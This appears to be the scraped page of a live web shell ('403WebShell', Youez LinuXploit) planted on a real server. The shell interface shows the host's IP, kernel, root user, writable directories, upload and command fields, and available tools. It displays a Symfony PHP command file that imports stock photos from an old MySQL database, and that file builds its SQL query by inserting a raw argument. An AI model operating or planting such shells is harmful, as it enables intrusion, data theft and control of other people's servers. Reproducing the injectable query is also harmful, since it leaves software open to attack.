WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Command/ImportStockCommand.php
<?php

namespace App\Command;

use App\Entity\FtpUser;
use App\Entity\Stock;
use App\Entity\StockCategory;
use App\Entity\StocksCats;
use App\Entity\StockType;
use App\Entity\User;
use App\Repository\StockCategoryRepository;
use App\Service\ImageHelper;
use App\Util\UserManipulator;
use FOS\UserBundle\Util\TokenGenerator;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Psr\Container\ContainerInterface;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\Finder\Finder;
use Symfony\Component\HttpFoundation\File\File;

class ImportStockCommand extends Command
{
    protected static $defaultName = 'app:import-stock';
    private $userManipulator;

    private $container;
    private $params;
    private $imageHelper;
    private $base_path='/mnt/stock_static/sura/var/www/html/assets/uploads';


    public function __construct(ContainerInterface $container, ParameterBagInterface $parameterBag, ImageHelper $imageHelper)
    {


        parent::__construct();
        $this->params = $parameterBag;
        $this->container = $container;
        $this->imageHelper = $imageHelper;
        $this->base_path=getenv('OLD_UPLOAD_DIR');

        $this->em = $this->container->get('doctrine')->getManager();
    }

    protected function configure()
    {
//        parent::__construct();
        $this
            ->setDescription('Add a short description for your command')
            ->addArgument('arg1', InputArgument::OPTIONAL, 'Last Upload ID')
            ->addOption('option1', null, InputOption::VALUE_NONE, 'Option description');
    }


    protected function execute(InputInterface $input, OutputInterface $output): int
    {

        $io = new SymfonyStyle($input, $output);

        $arg1 = $input->getArgument('arg1');
        $fileSystem = new Filesystem();
        $finder = new Finder();
        $storage_dir = $this->params->get('stock_directory');
        $stock_directory=$this->params->get('stock_directory');

        $stockRepository=$this->em->getRepository(Stock::class);
        $stockTypeRepository=$this->em->getRepository(StockType::class);

        $photoType=$stockTypeRepository->findOneBy(['title'=>'photo']);
        /** @var StockCategoryRepository $stockCategoryRepository */
        $stockCategoryRepository=$this->em->getRepository(StockCategory::class);
        $userRepository=$this->em->getRepository(User::class);
        $servername = getenv('OLD_DATABASE_HOST');
        $username = getenv('OLD_DATABASE_USERNAME');
        $password = getenv('OLD_DATABASE_PASSWORD');
        $dbname = getenv('OLD_DATABASE_DATABASE');
//        $manipulator = $this->getContainer()->get('fos_user.util.user_manipulator');
// Create connection
        $conn = new \mysqli($servername, $username, $password, $dbname);

// Check connection
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }

//        $sql = "select * from contributor_image_uploads limit 5";
        $sql = "SELECT * FROM `contributor_image_uploads` WHERE 
                                                `upload_id` > $arg1 and file_status=1 
    ORDER BY `upload_id`  ";
        $result = $conn->query($sql);
        $mainContributor=$userRepository->findOneBy(['oldID'=>3]);
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
                $file_name_parts=explode('/',$row['file_url']);
               $file_name=trim(end($file_name_parts));
               $file_path=$this->base_path.DIRECTORY_SEPARATOR.$file_name;
                            //TODO hadle upload
                $contributor=$userRepository->findOneBy(['oldID'=>$row['user_id']]);
                if($contributor==null){
                    $contributor=$mainContributor;
                }
                if($contributor!=null && is_file($file_path)) {
                    $fileObj = new File($file_path);
                    $ext = $fileObj->guessExtension();
                    $preview_name = uniqid('preview_') . '.' . $ext;
                    $new_gif_file = null;

                    $name = uniqid('img_') . '.' . $ext;

                    $new_file = $stock_directory . DIRECTORY_SEPARATOR . $name;
                    if(is_file($file_path)) {
                        //get file path
                        $stock = new Stock();
                        $type = null;
                        $categories = explode(',', $row['file_category']);
                        if (count($categories) > 0) {
                            foreach ($categories as $category) {
                                //relate all the categories to the stock
                                $cat_name = (trim($category));
                                $catModel = $stockCategoryRepository->findOneBy(['name' => $cat_name]);
                                if ($catModel == null) {
                                    if($cat_name !='' && $cat_name!='Select Categories')
                                    {
                                        $catModel = new StockCategory();
                                        $catModel->setName($cat_name);
                                        $catModel->setDescription($cat_name);
                                        $this->em->persist($catModel);
                                    }

                                }
                            }
                        }
                        $this->em->flush();

                        //image
                        $fileSystem->copy($file_path, $new_file);

//                $fileSystem->remove($file);
                        $imgSizePaths = $this->imageHelper->fetchImageInfo($new_file, $stock, $storage_dir);
//                        $smPath = $imgSizePaths['smPath'];
//                        $lgPath = $imgSizePaths['lgPath'];
                        $stock->setFileHeight($imgSizePaths['height']);
                        $stock->setFileWidth($imgSizePaths['width']);

                        $stock->setOrientation($imgSizePaths['height'] >= $imgSizePaths['width'] ? "Portrait" : "Landscape");


//                        $stock->setSmallImagePath($smPath);
//                        $stock->setLargeImagePath($lgPath);

                        $stock->setFilePath($new_file);
                        $stock->setFileName($name);
                        $stock->setCreateAt(new \DateTime($row['date_uploaded']));



                        if (isset($categories[0])) {
                            $stock->setCategory($stockCategoryRepository->findOneBy(['name' => trim($categories[0])]));
                        }
                        if (isset($categories[1])) {
                            $stock->setCategory2($stockCategoryRepository->findOneBy(['name' => trim($categories[1])]));
                        }

                        $stock->setContributor($contributor);

                        $stock->setType($photoType);
                        $stock->setTitle($row['file_name']);
                        if ($row['file_same_shoot_code'] !== null) {
                            $stock->setSameShootCode($row['file_same_shoot_code']);
                        }
                        $stock->setDescription($row['file_keywords']);
                        $stock->setImageType($row['file_type']);
                        $stock->setImageSubType($row['file_subtype']);
                        $stock->setApproveBy(null);
                        print_r($row);
                        $stock->setPrice(isset($row['file_price_medium'])?$row['file_price_medium']:0);

                        $stock->setPriceLarge(isset($row['file_price_medium'])?$row['file_price_large']:0);
                        $stock->setPriceSmall(isset($row['file_price_small'])?$row['file_price_small']:0);

                        if ($row['file_people'] !== null) {
                            $stock->setPeopleNo($row['file_people']);
                        } else {
                            $stock->setPeopleNo(0);
                        }
                        if ($row['file_same_shoot_code'] !== null)
                            $stock->setShootCode($row['file_same_shoot_code']);
                        $stock->setLicenceType($row['file_license']);
                        $stock->setPublished($row['file_status']);
                        $stock->setFileSize(15);
                        $stock->setStatus(0);
                        $stock->setPublished(1);
                        $stock->setNofityModel(false);
                        $stock->setHibernateStart(null);
                        $stock->setHibernateEnd(null);
                        $stock->setKeywords($row['file_keywords']);
                        $stock->setApproveAt(null);
                        $stock->setSuraID($row['upload_id']);
                        $stock->setOldID($row['upload_id']);
                        $this->em->persist($stock);
                        $this->em->flush();
                        foreach ($categories as $category)
                        {
                            $cat_name = (trim($category));
                            $catModel = $stockCategoryRepository->findOneBy(['name' => $cat_name]);

                            if (!empty($catModel)){
                                $stock_cat = new StocksCats();
                                $stock_cat->setStock($stock);
                                $stock_cat->setCategoryStockCat($catModel);
                                $this->em->persist($stock_cat);
                            }
                        }
                        $this->em->flush();
                        $images = $this->imageHelper->generate($new_file, $stock, $storage_dir);
                        $io->note(sprintf('Stock imported: %s', $row['file_name']));
                    }
                    else{
                        $io->note(sprintf('File not found: %s', $file_path));
                    }
                }
                else{
                    $io->note(sprintf('Contributor not found for id: %s', $row['user_id']));
                }
            }//end sample
        }

        $conn->close();



        $io->success('You have a new command! Now make it your own! Pass --help to see your options.');

        return 0;
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit